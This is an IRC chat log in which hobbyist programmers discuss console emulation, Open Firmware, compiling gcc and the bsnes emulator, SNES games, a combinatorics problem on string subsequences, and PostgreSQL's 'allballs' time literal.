03:47:19 <pikhq> And it has a freaking *weird* GPU.
03:47:20 <elliott_> quintopia: I don't actually own a PS2, but I do know that emulating the entire thing is pretty much impossible. :p
03:47:24 <zzo38> The PS3 has eight cores isn't it? (Only seven can be used (one is reserved for the PS3 system and is disabled in OtherOS mode), but you should be able to, somehow)
03:47:28 <elliott_> (On, you know, consumer hardware.)
03:47:32 <elliott_> zzo38: GPUs aren't easy to emulate at all.
03:47:40 <elliott_> Emulating a GPU with a CPU is a basically futile task.
03:47:47 <elliott_> Heck, look at the Checkout language.
03:47:56 <elliott_> The whole point is that you can't do those kinds of things with a CPU.
03:48:08 <pikhq> zzo38: All 7 were used to emulate the rest of the PS2's hardware when they did mostly software emulation.
03:48:15 <quintopia> i was surprised he knows so much about gpu actually
03:48:35 <zzo38> Then they would need to make the GPU in PS3 also programmable in OtherOS mode.
03:48:42 <quintopia> ...
03:48:48 <quintopia> wat
03:48:55 <elliott_> quintopia: who knows so much about gpu?
03:48:58 <elliott_> the author of Checkout?
03:48:59 <quintopia> ais
03:49:01 <zzo38> I would require them to do so, that is what they have to pay for removing two features!!
03:49:07 <elliott_> quintopia: his supervisor is some kind of gpu maniac, so i'm not surprised :)
03:49:12 <quintopia> didn't know that
03:49:24 <elliott_> zzo38: ok you realise that
03:49:26 <elliott_> removing features is not illegal
03:49:28 <elliott_> nor even inherently bad?
03:49:46 <quintopia> zzo38: also, a programmable gpu is crazy talk. are you that crazy?
03:49:47 <zzo38> Yes; but both of these features are important and advertised features.
03:50:02 <zzo38> quintopia: I am a bit crazy
03:50:18 <pikhq> The freaking thing has 4 CPUs and a weird-ass GPU.
03:51:06 <pikhq> Which, for no good reason, can do up to 1080p.
03:51:06 <elliott_> `addquote <quintopia> zzo38: also, a programmable gpu is crazy talk. are you that crazy? <zzo38> quintopia: I am a bit crazy
03:51:40 <elliott_> pikhq: They should have included a REAL LIVE DUCK with its brain hooked up to the motherboard, just so that full emulation requires emulating a duck.
03:51:45 <zzo38> Do they even still sell PlayStation 2?
03:51:53 <elliott_> Emulation: SOLVED.
03:51:54 <elliott_> zzo38: Yes.
03:51:56 <HackEgo> 319) <quintopia> zzo38: also, a programmable gpu is crazy talk. are you that crazy? <zzo38> quintopia: I am a bit crazy
03:52:03 <pikhq> zzo38: Yes.
03:52:10 <pikhq> zzo38: $99 for a brand-new PS2.
03:52:15 <zzo38> If they do still sell PlayStation 2, then the problem is not quite as serious.
03:52:18 <elliott_> zzo38: The PS2 has made insane amounts of money over its lifespan and will continue to make insane amounts of money for the forseeable future.
03:52:35 <pikhq> And they only intend to stop selling the PS2 when it stops selling.
03:52:44 <pikhq> Which is likely to be sometime after the PS4 comes out at this rate.
03:53:36 <pikhq> It's freaking hit 11 years of sales and has no signs of stopping.
03:54:28 <quintopia> well
03:54:42 <zzo38> I suppose then, that PS3 not running PS2 programs is not as serious, but it still might be false advertising. OtherOS feature being removed is therefore more serious, and that might also be false advertising.
03:54:50 <quintopia> as of 2009Q4, PS3 outsells it...
03:54:56 <quintopia> so that's a sigh of stopping...
03:55:04 <quintopia> s/gh/gn/
03:55:07 <pikhq> zzo38: They don't freaking advertise that it does PS2 emulation anymore.
03:55:54 <elliott_> Removing shit via firmware upgrades with no recourse to legally restore an older firmware is Evil(TM) and should arguably be illegal.
03:55:59 <zzo38> Maybe they should advetrise that it does *not* do PS2 emulation (at least in the manual), to clarify it. Because they are all called "PlayStation" and this might confuse some people.
03:56:01 <elliott_> Removing features on new models is perfectly acceptable.
03:56:08 <elliott_> PS3: Revision 3 might just be a cardboard box with a horn in it.
03:56:11 <elliott_> And that would be fine.
03:56:31 <elliott_> zzo38: It's only false advertising if it can confuse someone who isn't an idiot.
03:56:33 <zzo38> elliott_: That part about firmware upgrades I agree with; it is far worse than removing hardware features from new hardware.
03:56:34 <pikhq> quintopia: Yup, 3 years after its successor came out the PS3 finally started to outsell the PS2.
03:56:46 <pikhq> Erm. Rearrange that.
03:56:53 <quintopia> yes
03:57:02 <elliott_> Almost everyone who wants a PS2 has one.
03:57:05 <elliott_> There can only be so many sales on top of that.
03:57:11 <zzo38> elliott_: OK, it is not false aftertise then; still it is possible someone might think it does, which is why the manual at least should mention that it does not run PS2 games.
03:57:29 <quintopia> zzo38: it probably does >.>
03:58:31 <zzo38> Removing features from new hardware is not quite as bad, but I still think in many cases it is not very good; especially if the new hardware is not said to be a completely new product with a different name and everything like that.
03:59:10 <quintopia> zzo38: as long as they don't say "new and improved!"
03:59:22 <pikhq> elliott_: Well, just this January they sold 260,000.
03:59:41 <zzo38> Well, yes. If they say "new and improved" then they are completely wrong; the only improvement is the larger hard drive.
04:00:27 <pikhq> Sure, pales in comparison with the other consoles (getting about a million each), but that's pretty significant to be pulling *5 years after it was made obsolete*.
04:01:59 <zzo38> (And I do also think there are many problems with modern PC BIOS; although a new one can still be written, so it is not too much of a problem. The only real problem is that new PC will not run without an operating system.)
04:03:20 <elliott_> Just replace the BIOS with Open Firmware.
04:03:34 <elliott_> Super-fast, extremely elegant, incredibly simple, and you have a full Forth system at your disposal without any need for an operating system.
04:03:46 <elliott_> Not only that, but the Forth system has full access to the system hardware and the booting process.
04:04:04 <zzo38> elliott_: That would work. Does Open Firmware work for normal PC operation?
04:04:05 <elliott_> Even better, Open Firmware is a fully open standard.
04:04:13 <elliott_> zzo38: Yes. There are implementations of Open Firmware for x86 processors.
04:04:58 <zzo38> What I mean is, can you still install the same operating systems using the same PC BIOS calls and that stuff? Is it possible to make a combination of Open Firmware with PC BIOS?
04:05:42 <elliott_> I think there might be a compatibility layer. Not sure.
04:05:52 <elliott_> I don't know all _that_ much about Open Firmware.
04:05:59 <elliott_> But it was certainly nice on that 1998 iMac.
04:06:34 <pikhq> Should be possible to do, in the same manner of EFI emulation.
04:07:08 <elliott_> Forth is pretty much the perfect BIOS language.
04:07:29 <zzo38> elliott_: Yes I agree it is the best program language to have built-in to the BIOS.
04:07:31 <elliott_> Incredibly simple implementation, full access to the underlying hardware, concise, readable and efficient, and fully extensible.
04:10:27 <zzo38> What else would be useful in there is a command that takes a URL (or address/port/selector) as parameter, and then downloads the file to RAM and executes the file (which you might use to install a operating system over the internet in case you have no physical media to install an operating system from).
04:10:56 <zzo38> I would put in a terminal emulator, too (but that is just me).
04:14:08 <elliott_> zzo38: you would have to initialise all the network hardware too
04:14:14 <elliott_> hey i forgot about this http://esoteric.voxelperfect.net/wiki/CRTL
04:14:50 <elliott_> oh hey oklopol wrote a program in that
04:14:55 <elliott_> i think oerjan might like that language o' mine
04:16:00 <fizzie> Network booting tends to be a supported thing in most places. (I haven't bothered to read the context here.)
04:16:18 <fizzie> Usually by downloading a file over tftp or something.
04:16:20 <elliott_> fizzie: this channel is now about http://esoteric.voxelperfect.net/wiki/CRTL
04:17:29 <zzo38> When ais523 comes in, it should be about Checkout because I typed something on the Talk page for that article.
04:18:00 <elliott_> But CRTL is more funs.
04:18:51 <zzo38> You can discuss CRTL too. But when ais523 comes in I will also discuss Checkout too.
04:20:24 <fizzie> Open Firmware is the nicest, though: the devices (PCI cards and such) had platform-independent forth bytecode drivers burned on ROM on them, so Open Firmware itself didn't need to know about all possible network cards and other hardware, it just used the bundled driver for basic functionality.
04:22:33 <elliott_> fizzie: The above context was basically Open Firmware lovin'.
04:22:54 <zzo38> fizzie: The problem is in case some devices do not have such drivers? However, I think Open Firmware is still good idea in general.
04:22:58 <elliott_> A rare example of a truly minimal, clean, usable and elegant system being put into widespread use without complaints.
04:26:13 <zzo38> Maybe not quite widespread use as it should, though. Most PC BIOS does not include Open Firmware. Although they really should include it.
04:27:04 <elliott_> zzo38: I was referring to the fact that all New World ROM Macintoshes used it.
04:27:25 <elliott_> So, every iMac and Power Macintosh-post-1998 up until the Intel switchover.
04:28:13 -!- sftp has quit (Remote host closed the connection).
04:28:41 -!- sftp has joined.
04:29:29 <fizzie> Many Sun boxes too, under the name OpenBoot.
04:29:44 <elliott_> Indeed.
04:32:46 -!- augur has quit (Remote host closed the connection).
04:34:16 <elliott_> 15:58:24 <oklopol> your real name is elliott hird, mine is oklofoan polakir
04:34:20 <elliott_> always with the lies
04:34:23 <elliott_> my real name is john
04:34:29 <elliott_> pork john interval
04:36:13 -!- poiuy_qwert has joined.
04:37:35 <Gregor> Interval: Greatest surname ever?
04:39:13 <elliott_> yes.
04:39:17 <elliott_> (not biased)
04:39:23 <elliott_> Pork: Greatest forename ever?
04:39:26 <elliott_> yes.
04:39:28 <elliott_> (not biased)
04:39:39 <elliott_> Gregor: All I need is a Ph.D.
04:39:42 <elliott_> Good morning, Dr. Interval.
04:39:48 <elliott_> BEST SUPERHERO/VILLAIN EVER
04:43:19 -!- elliott_ has quit (Quit: Leaving).
04:55:54 -!- augur has joined.
05:11:42 -!- zzo38 has quit (Remote host closed the connection).
05:24:15 -!- pikhq has quit (Read error: Operation timed out).
05:25:22 -!- pikhq has joined.
05:36:35 -!- TLUL has changed nick to TLUL|afk.
05:39:44 -!- pikhq has quit (Ping timeout: 240 seconds).
05:39:59 -!- pikhq has joined.
05:45:44 -!- asiekierka has joined.
06:05:41 -!- TLUL|afk has changed nick to TLUL.
06:06:15 -!- copumpkin has quit (Ping timeout: 240 seconds).
06:06:55 -!- copumpkin has joined.
06:11:44 <variable> anyone know a way to get google to stop treating newer stuff as more relevant. I'm trying to find information that is over a decade old
06:37:04 <Sgeo> "The conversion to a C string in-place means we need to read one less than the size of the buffer."
06:37:14 <Sgeo> "All these issues resulted in compile time errors."
06:37:30 <Sgeo> Compile time checking of off-by-one errors?
06:37:38 <Sgeo> (Or, well, at least this one)
06:40:03 -!- pikhq has quit (Ping timeout: 246 seconds).
06:40:18 -!- pikhq has joined.
07:04:12 -!- zeotrope has joined.
07:16:49 <pikhq> Finally finished with linear algebra.
07:17:33 <Sgeo> pikhq, now would be a bad time to ask you to teach me algebra?
07:17:38 <Sgeo> *linear algebra
07:18:08 <pikhq> Sgeo: It would be much easier for you to learn outside of a classroom, I expect.
07:18:30 <pikhq> Since you would be able to completely avoid the retarded emphasis on manual computation of algorithms that have no right to be done that way.
07:19:17 * Sgeo vaguely remembers writing Python scripts to do his Spanish homework and TI-BASIC programs to do his math homework
07:19:21 <pikhq> Especially mother-fucking O(n!) algorithms.
07:19:30 <pikhq> Oh. Enn. Factorial.
07:20:44 <Sgeo> pikhq, surely for very very small problems it's not that bad?
07:20:47 <Sgeo> *innocent look*
07:20:47 <pikhq> Or O(n^3); that's pretty bitchy, too.
07:20:56 <pikhq> Sgeo: It's still a bitch.
07:21:41 * Sgeo decides that what pikhq needs is a nice O(1) problem
07:22:01 <pikhq> It's this sort of shit that makes people hate math: bland, pointless algorithm computation is done *in place of* math.
07:22:31 <pikhq> Sgeo: What, like 1-digit multiplication? Where we memorise a look-up table?
07:22:39 <pikhq> :)
07:23:05 <Sgeo> Would rewriting a matrix size n*n with bottom rows on the top etc. be O(sqrt(n))?
07:35:52 -!- oerjan has joined.
07:37:42 <oerjan> 23:35:52 --- join: oerjan (oerjan@tyrell.nvg.ntnu.no) joined #esoteric
07:37:47 <oerjan> wtf timezone is that
07:38:54 -!- asiekierka has quit (Ping timeout: 240 seconds).
07:41:17 <pikhq> Seems like UTC-9.
07:42:36 <pikhq> Alaska Standard Time, French Polynesia time, and Hawaii-Aleutian Daylight Time.
07:42:49 <pikhq> ... Wait, 23:35?
07:43:02 <pikhq> UTC-8:30? The fuck?
07:43:41 <oerjan> and i actually joined 09:08 in my timezone
07:44:08 <pikhq> Yeah, looks like 01:08 in my timezone.
07:45:20 <oerjan> usually i'd expect UTC-9 from clog at this time of year at least
07:45:34 <oerjan> or wait
07:45:35 <pikhq> ... UTC-9? Is clog in Alaska?
07:45:38 <oerjan> UTC-8
07:45:48 <pikhq> Yeah, see, that'd make sense.
07:46:01 <pikhq> I bet clog just doesn't sync with NTP.
07:46:06 <oerjan> (forgot my own timezone isn't UTC)
07:46:19 <oerjan> yeah but 35 minutes? :D
07:46:40 <pikhq> All the more reason for NTP.
07:46:41 <oerjan> also, i'm pretty sure it was reasonably synced not _that_ long ago
07:46:52 <pikhq> Well, unless it's inexplicably on Pitcairn Island time.
07:47:01 <pikhq> (which ceased to be UTC-8:30 in '98)
07:47:27 <oerjan> huh i thought pitcairn was further west than that
07:48:30 <pikhq> No, it's a bit east of Hawai'i.
07:48:44 <pikhq> And quite a bit further south.
07:49:57 <oerjan> hm yeah north america is far more west than south, so it's still in the middle of the ocean
07:50:05 <oerjan> *than south america
07:51:06 <oerjan> http://maps.google.no/maps?hl=no&biw=1070&bih=592&q=pitcairn%20island%20map&wrapid=tlif129870841650011&um=1&ie=UTF-8&sa=N&tab=wl
07:51:36 <oerjan> dammit i was hoping that included my unzooming
07:53:52 <oerjan> for some inexplicable reason the right click menu for the (i assume) permalink inside google maps _lacks the actual "copy this link" item!_
07:54:09 <oerjan> so i tried the address bar, which didn't work
07:54:24 <oerjan> http://maps.google.no/maps?hl=no&q=pitcairn+island+map&ie=UTF8&hq=&hnear=Hereheretue&ll=-19.973349,-144.84375&spn=123.556837,242.226563&t=h&z=2
07:54:38 <oerjan> i actual had to open that in order to copy the address
07:54:41 <oerjan> *ly
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:02:47 <pikhq> TIL: I have the same birthday as William Shatner.
08:03:07 <pikhq> Who turns fucking *80* next month.
08:12:27 -!- Phantom_Hoover has joined.
08:38:41 -!- oerjan has quit (Quit: leaving).
09:00:33 <quintopia> hello
09:33:39 -!- pikhq has quit (Read error: Operation timed out).
09:35:28 -!- pikhq has joined.
09:36:34 <Vorpal> compiling gcc is annoying
09:40:25 -!- MigoMipo has joined.
09:41:38 <quintopia> why
09:44:23 -!- asiekierka has joined.
09:44:48 <Vorpal> quintopia, because it takes ages
09:45:04 <Vorpal> quintopia, and now the dep cloog is acting up and don't want to compile
09:45:21 <Vorpal> screw it, I'll just compile with the proper -march on another computer that has the right gcc version...
09:45:24 <quintopia> sounds like a personal problem
09:45:29 <Vorpal> quintopia, ... what?
09:45:52 <quintopia> you don't have to ping me right now. there is no one else talking :P
09:45:59 <Vorpal> still: what
09:46:06 <Vorpal> also I'm used to high traffic channels
09:46:15 <Vorpal> nickpinging is a habit that is hard to get rid of
09:46:59 <Vorpal> quintopia, besides, what did you mean with "sounds like a personal problem"
09:47:34 <quintopia> yes, i understand, but it's good to not forget the reasons why you do something, and you know, not do stuff that isn't necessary if possible
09:47:47 <quintopia> it sounds like your personal sstem is the problem
09:47:54 <quintopia> i bet others can compile it just fine :P
09:48:03 <Vorpal> define "sstem"
09:48:22 <Vorpal> also I can compile it just fine on other computers
09:48:27 <Vorpal> though it takes ages there too
09:48:41 <Vorpal> I blame that computer for it. Ubuntu LTS
09:50:01 <quintopia> lucid? i run lucid. i bet i could compile it no probs bobs
09:50:22 <Vorpal> quintopia, gcc 4.5.2 ?
09:50:27 <Vorpal> quintopia, and yes lucid
09:51:03 <Vorpal> quintopia, also needs to go into $HOME/local/gcc-4.5.2 btw :P
09:51:30 <Vorpal> I done this before (for gcc 4.5.0) and it worked but it is still a PITA
09:51:46 <Vorpal> especially since I need 4.5.2 to compile bsnes it seems
09:51:51 <Vorpal> 4.5.0 doesn't work
09:51:58 <quintopia> huh
09:52:15 <Vorpal> what are you going huh over
09:53:00 <Vorpal> great. Compiling on another computer almost worked.
09:53:16 <Vorpal> $ ldd ./bsnes | grep not
09:53:17 <Vorpal> libao.so.4 => not found
09:53:25 <Vorpal> apart from that
09:56:17 <Vorpal> bin/bsnes: symbol lookup error: bin/bsnes: undefined symbol: _ZN9QListData11detach_growEPii
09:56:19 <Vorpal> okay what the heck
09:57:38 <Vorpal> $ nm -CD bin/bsnes | grep detach_grow
09:57:38 <Vorpal> U QListData::detach_grow(int*, int)
09:57:39 <Vorpal> ah
09:57:42 <Vorpal> possibly QT
09:57:54 <Vorpal> screw it. Lets try statically linked
09:58:34 <Vorpal> link += -s -ldl -lX11 -lXext <-- or maybe not
09:58:40 <Vorpal> -ldl doesn't sound good
09:59:11 <Vorpal> indeed it uses dlopen
10:00:07 <quintopia> give up now. settle for the massive assload of twisted hackery that is zsnes
10:01:30 -!- zeotrope has quit (Ping timeout: 276 seconds).
10:05:12 <Vorpal> quintopia, zsnes doesn't run the game in question properly
10:05:20 <Vorpal> quintopia, besides it worked with some LD_PRELOAD stuff
10:05:31 <Vorpal> I copied most of the QT libraries across
10:05:34 <quintopia> oic
10:06:15 <Vorpal> quintopia, and the computer with gcc-4.5 that I have, which can compile this thing (runs Arch Linux) has a Sempron 3300+. The game sound stutters on it using bsnes
10:06:43 <quintopia> meh, i'm used to game sound stuttering
10:07:11 <Vorpal> quintopia, I can't stand that. Lets see how it works here
10:07:21 <Vorpal> wait, need to copy roms across
10:09:07 <Vorpal> ah smooth
10:09:09 <Vorpal> so far
10:21:21 <Vorpal> quintopia, which is your favourite SNES game?
10:22:19 <quintopia> SMW. i'm not very exciting :P
10:22:31 <Vorpal> quintopia, for me it is Chrono Trigger definitely
10:22:41 <quintopia> kk
10:23:38 <Vorpal> quintopia, haven't played it?
10:23:41 <Vorpal> well worth it
10:24:19 <Vorpal> better than Secret Of Mana and the Final Fantasy series even IMO.
10:24:49 <Vorpal> quintopia, and of course, Square developed it
10:25:52 <Vorpal> quintopia, Super Mario RPG is also near the top
10:27:00 <quintopia> ok
10:29:21 <Vorpal> quintopia, I'd say that Secret of Mana comes as clear number two of best SNES games ever. Then Super Mario RPG. Then some of the Final Fantasy games. Then Zelda - A Link to the Past
10:35:14 <quintopia> ok
10:35:22 <Vorpal> In many ways I have to say that Secret of Mana had the best battle system. Not a separate mode as such (as in Final Fantasy 3) but integrated into the continual gameplay. But Chrono Trigger beats it thanks to such an awesome story. Even though the battles are something in between the two games.
10:35:34 <Vorpal> (still in normal view but battle mode that is)
10:36:01 <Vorpal> while final fantasy 3 switches to a side view mode for battles
10:37:16 <Vorpal> quintopia, you don't like RPGs or?
10:38:13 <quintopia> i just don't snes much
10:38:16 <quintopia> but yeah
10:38:20 <quintopia> mainly i don't like rpgs
10:38:34 <quintopia> platformers for me please
10:38:36 <Vorpal> quintopia, right. That is why our lists are so utterly different then :P
10:38:48 <Vorpal> don't really like platformers. Not enough story
10:39:50 <Vorpal> quintopia, for me the story is one of the most important parts of the game. Without an epic story a game isn't worth playing (exception would be the kind of games you use to fill up a few minutes while waiting for the bus, such as a minesweeper clone or whatever)
10:41:29 <Ilari> Hmm... Cubes at 143. Squares still at 11 (there probably aren't more).
10:42:26 <Ilari> Largest cube: 32 359 333 255 236 395 269 222 926 293. Largest square: 888 288 787 822 276
10:42:40 <Vorpal> Ilari, what are you doing?
10:42:55 <Ilari> Trying to calculate subsequence subsets of cubes and squares.
10:45:09 <Vorpal> Ilari, why?
10:45:24 <quintopia> vorpal: i prefer platformers with a kick-ass story
10:45:28 <quintopia> like psychonauts
10:46:06 <Ilari> Vorpal: For fun?
10:46:24 <quintopia> (but the gameplay is more important than the story overall)
10:50:33 <Vorpal> Ilari, ah
10:50:41 <Vorpal> quintopia, haven't played that one
10:59:53 <Ilari> Vorpal: Basic idea is: Take a set of strings. Then see what strings in the set you can't strike any symbols from to get another element of the set. That is fiendishly hard for most sets (computing some members of that subset is easy, proving you got them all is very hard).
11:00:05 -!- azaq23 has joined.
11:00:44 <Ilari> For primes in base-10, that set is known to contain 26 primes.
11:03:14 <Vorpal> Ilari, exactly 26?
11:06:31 -!- lifthrasiir has quit (Ping timeout: 272 seconds).
11:12:33 <Ilari> Yes.
11:13:38 <Ilari> For powers of two in base 10, it likely contains 5 elements (1, 2, 4, 8, 65536; but proving this seems extremely hard).
11:13:54 <Ilari> And anyway, if that set contains sixth element, it is extremely large.
11:16:18 <Ilari> For squares in base 10 (starting from 0), I get: 0, 1, 4, 9, 25, 36, 576, 676, 665856, 7888885568656, 888288787822276, ... (the set either does not have more or the greater elements are much bigger than last I got).
11:18:03 <Ilari> This subset is always finite (but unbounded among sets) in size.
11:19:26 <Ilari> To see it is unbounded. Take set of all binary strings at least k symbols in length. The size of this subset for this set is obviously 2^k. Now as k increases without bound, 2^k increases without bound.
11:28:30 <Vorpal> mhm
11:32:23 -!- Zuu has quit (Ping timeout: 260 seconds).
11:34:45 -!- cheater- has quit (Ping timeout: 240 seconds).
11:35:25 -!- Zuu has joined.
11:36:17 -!- cheater- has joined.
11:38:20 <Ilari> And the sparser the original set, the larger the subset tends to be. Primes has subset of size 26. Absolute pseudoprimes has set of size >4000.
11:40:52 <Ilari> Of course, how regular the set is also affects it.
11:41:55 -!- lifthrasiir has joined.
11:41:56 <Ilari> Actually, I think that the set is computable if the original set can be described by regular language.
11:44:47 -!- ineiros has quit (Ping timeout: 260 seconds).
11:47:34 -!- vovten has joined.
11:50:46 <Ilari> And for basically any set that can be described by any class of languages with following properties: 1) The class is closed under difference. 2) Emptyness of generated set is decidable, 3) The class can express strings comtaining given symbols in given order, 4) lexicographically first string described by language can be computed.
11:54:29 -!- TLUL has quit (Quit: *disappears in a puff of orange smoke*).
11:57:51 <Ilari> The algorithm is: subset(L): S = {}; while(!empty(L)) { t = first_of(L); S = union(S, {t}); L = diffrence(L, supersequences(t)); }; return S;
11:58:20 <Vorpal> heh
11:58:52 <Ilari> That may not be efficient, but at least that runs in finite time.
12:00:34 <Vorpal> Ilari, what is the complexity though?
12:01:17 <Vorpal> also "That may not be efficient, but at least that runs in finite time." is quite a strange statement in most contexts
12:01:42 <Ilari> Might be something crazy, even for regular languages (to say nothing about more complicated classes).
12:02:33 <Vorpal> Ilari, such as?
12:02:51 <Vorpal> (how crazy I mean)
12:03:27 <Ilari> Exponential? I haven't looked at that in detail.
12:03:41 <Vorpal> ah
12:03:52 <Vorpal> Ilari, exponential isn't crazy. Just bad.
12:04:21 <Vorpal> Ilari, for a complexity to be officially crazy you need worse than O(n!)
12:04:49 <Vorpal> sorry, "worse than or equal to" of course
12:04:56 <Vorpal> bogosort is O(n!) and crazy
12:05:24 <Ilari> At least you can make it blow up exponentially in number of states in original DFA. Most probably doubly-exponentally.
12:07:07 <Vorpal> Ilari, nice
12:17:01 -!- copumpkin has quit (Ping timeout: 252 seconds).
12:17:26 -!- copumpkin has joined.
12:38:03 -!- BeholdMyGlory has joined.
12:40:12 -!- olsner has quit (Ping timeout: 272 seconds).
12:42:35 -!- olsner has joined.
12:43:09 -!- olsner has quit (Client Quit).
12:43:36 -!- olsner has joined.
13:14:01 -!- yorick has joined.
13:16:16 -!- olsner has quit (Ping timeout: 264 seconds).
13:22:58 -!- olsner has joined.
13:35:10 -!- asiekierka has quit (Ping timeout: 240 seconds).
13:38:45 -!- ais523 has joined.
15:00:04 -!- pikhq_ has joined.
15:00:20 -!- pikhq has quit (Ping timeout: 276 seconds).
15:09:25 -!- asiekierka has joined.
15:18:38 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
15:42:31 * Sgeo wants to try Microsoft Bob
15:43:07 -!- Phantom_Hoover has joined.
15:45:56 <Sgeo> Phantom_Hoover, what do you think about Microsoft Bob?
15:46:08 <Phantom_Hoover> "XD".
15:46:51 <Phantom_Hoover> Why?
15:48:21 <Sgeo> I was thinking about why I got into Creatures, I thought about Microsoft Agent, wikied, discovered that Microsoft Bob was a predecessor of sorts
15:48:44 <Sgeo> And it sounds fun. And a bit like this old Greetings Workshop program I used to have and love
15:54:54 -!- Zuu has quit (Ping timeout: 260 seconds).
15:55:28 -!- ais523 has quit (Remote host closed the connection).
16:06:22 -!- oerjan has joined.
16:13:52 <oerjan> <Ilari> [...] 4) lexicographically first string described by language can be computed. <-- i think mean shortest, aaaaaaaaaaaaaaaaaaa is before b in lexicographic order
16:13:56 <oerjan> *you mean
16:15:18 <oerjan> more relevant, ab is before b
16:18:39 <oerjan> hm i think you can replace it with 4) _some_ string described by the language can be computed
16:18:55 <oerjan> because you can then check every substring
16:19:30 <oerjan> *subsequence string
16:22:05 <fizzie> Not if your lexicographical order for different-length strings is defined by padding in front with a lower-than-any-real-symbol blank. That way the shortest strings will always come first.
16:23:19 <oerjan> that's not how lexicographic order is usually defined, fizzie
16:25:35 <fizzie> No, but it's not a too untypical ordering for arbitrary-length strings. Is there a particular term for it?
16:25:49 <fizzie> I sort of assumed that sort of ordering from his descriptions.
16:27:56 <Vorpal> <fizzie> Not if your lexicographical order for different-length strings is defined by padding in front with a lower-than-any-real-symbol blank. That way the shortest strings will always come first. <-- that assumes though that you only have to deal with finite strings
16:28:29 <oerjan> the definition of string usually includes finiteness
16:28:43 <Vorpal> oerjan, hm okay
16:28:50 <olsner> Vorpal: just compare from the end of the string then
16:28:55 <Vorpal> olsner, that works
16:29:08 <fizzie> Seems to be the "shortlex order".
16:29:38 <olsner> it's pretty much treating strings as numbers
16:29:42 <Vorpal> fizzie, no need to actually pad to do that
16:30:01 <fizzie> Yes, but it's one way to think of it.
16:30:03 <Vorpal> olsner, what is?
16:31:14 <Vorpal> <Sgeo> I was thinking about why I got into Creatures, I thought about Microsoft Agent, wikied, discovered that Microsoft Bob was a predecessor of sorts <Sgeo> And it sounds fun. And a bit like this old Greetings Workshop program I used to have and love <-- gaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah!
16:31:25 <olsner> Vorpal: I think this order is the same order you'd get from comparing the numbers you'd get from interpreting the strings as base-n numbers (if you have n symbols)
16:31:52 <Vorpal> olsner, oh right. That seems plausible indeed.
16:33:20 <Vorpal> olsner, it would work for finite positive integer n at least I'm pretty sure
16:33:40 <Vorpal> (not that fractional negative ones would be sensible)
16:33:50 <olsner> strings are usually defined with a finite set of symbols
16:33:55 <Vorpal> olsner, indeed
16:34:03 <oerjan> also, integers are usually defined not be fractional
16:34:09 <Vorpal> oerjan, .D
16:34:12 <Vorpal> :D*
16:34:30 <Vorpal> oerjan, that was what I said though
16:34:38 <oerjan> it's all fun and games until someone loses an eye
16:34:42 <Vorpal> :P
16:34:53 <olsner> but what about the fractional integers!?
16:35:06 <Vorpal> oerjan made those up
16:35:11 <Vorpal> I never mentioned them
16:35:13 <oerjan> no, Vorpal did
16:35:20 <Vorpal> no I didn't
16:35:23 <oerjan> LIAR
16:35:35 <oerjan> <Vorpal> (not that fractional negative ones would be sensible)
16:35:44 <Vorpal> "olsner, it would work for finite positive integer n at least I'm pretty sure" "(not that fractional negative ones would be sensible)" <-- the second statement is giving a rational for the first one
16:35:59 <Vorpal> oerjan, yes that is a rationale for why I restrict it to integers and positive onesx
16:36:01 <Vorpal> ones*
16:36:01 <oerjan> YOU STILL MADE THEM UP TO USE THEM FOR REASONING
16:36:15 <Vorpal> oerjan, no, they were not integers then
16:36:20 <Vorpal> they were non-integers
16:36:38 <Vorpal> I like your idea of fractional integers though
16:36:39 <Vorpal> but bbl
16:37:00 <Sgeo> 3DNA is basically a 3D Microsoft Bob
16:37:05 <Sgeo> I once liked 3DNA
16:37:12 <fizzie> It's indeed giving a rational, since it's no longer about integers.
16:37:42 * oerjan swats fizzie -----###
16:37:52 <fizzie> How irrational.
16:38:07 <oerjan> well i'm a complex person
16:38:45 <olsner> <oerjan> it's all fun and games until someone loses an i
16:39:25 <oerjan> RECYCLING IS ENVIRONMENTALLY FRIENDLY. also i don't recall when/if i said that.
16:39:56 <olsner> recently, you did
16:40:07 <fizzie> eye(n) is the MATLAB function to return a nxn identity matrix.
16:40:13 <oerjan> um not recently, sure
16:40:26 <oerjan> *surely
16:41:03 -!- asiekierka has quit (Read error: Operation timed out).
16:41:21 <fizzie> Better put that matrix operator away, you'll shoot your I_n out.
16:42:22 <fizzie> Also related! PostrgreSQL time input accept the string "allballs" as representing the UTC midnight.
16:42:32 <fizzie> Since 00:00:00 is all balls.
16:45:14 -!- ais523 has joined.
16:49:48 <Gregor> wtf :P
16:50:29 <fizzie> fis=> SELECT TIME 'allballs';
16:50:33 <fizzie> time
16:50:33 <fizzie> ----------
16:50:36 <ais523> Gregor: what are you wtfing at?
16:50:37 <fizzie> 00:00:00
16:50:45 <Gregor> ais523: What fizzie just said.
16:50:51 <ais523> ah
16:51:01 <ais523> try "help analyse" and "help analyze" in mysql sometime
16:51:31 <Gregor> "help anal lyse"
16:51:32 <ais523> there are two completely different commands...
16:54:11 <fizzie> Special date/time inputs: "epoch" (1970-01-01 00:00:00+00), "infinity", "-infinity", "now", "today", "tomorrow", "yesterday", "allballs".
16:54:45 <fizzie> (The infinities are later/earlier than all other timestamps, "now" is transaction start time, and the days are midnight today/tomorrow/yesterday.)
16:55:29 <Vorpal> fizzie, about postgres allballs.... why!?
16:55:38 <Vorpal> fizzie, does some silly standard specify it?
16:55:42 <Vorpal> or is there just no reason?
16:55:58 <fizzie> " 00:00:00
16:56:01 <fizzie> Whoops.
16:56:07 <fizzie> "I'm sure it isn't in any SQL standard ;-). Tom Lockhart is doubtless
16:56:07 <fizzie> responsible for it being in our code; I suppose he put it in because it
16:56:08 <fizzie> is in reasonably common use at JPL."
16:56:11 <fizzie> (From the mailing list.)
16:56:20 <Vorpal> fizzie, JPL?
16:56:40 <olsner> jet propulsion laboratory?
16:56:49 <olsner> I wonder what use they would have for a database though
16:57:12 <Vorpal> olsner, for storing test results?
16:57:53 <fizzie> Could be just a PostgreSQL developer randomly from JPL doing other stuff there.
16:58:04 <Vorpal> olsner, I mean considering how different a jet engine can behave over the flight envelop you end up with a lot of data from tests.
16:58:08 <fizzie> http://www2.jpl.nasa.gov/basics/bsf2-3.php mentions "all balls".
16:58:17 <Vorpal> fizzie, what is JPL!
16:58:26 <Vorpal> or was olsner not joking?
16:58:29 <fizzie> NASA's Jet Propulsion Laboratory, yes.
16:58:36 <Vorpal> ... heh
16:58:56 <olsner> fizzie: true, might not be directly related to JPL like that
17:00:01 <fizzie> They do seem to use Postgres there, though.
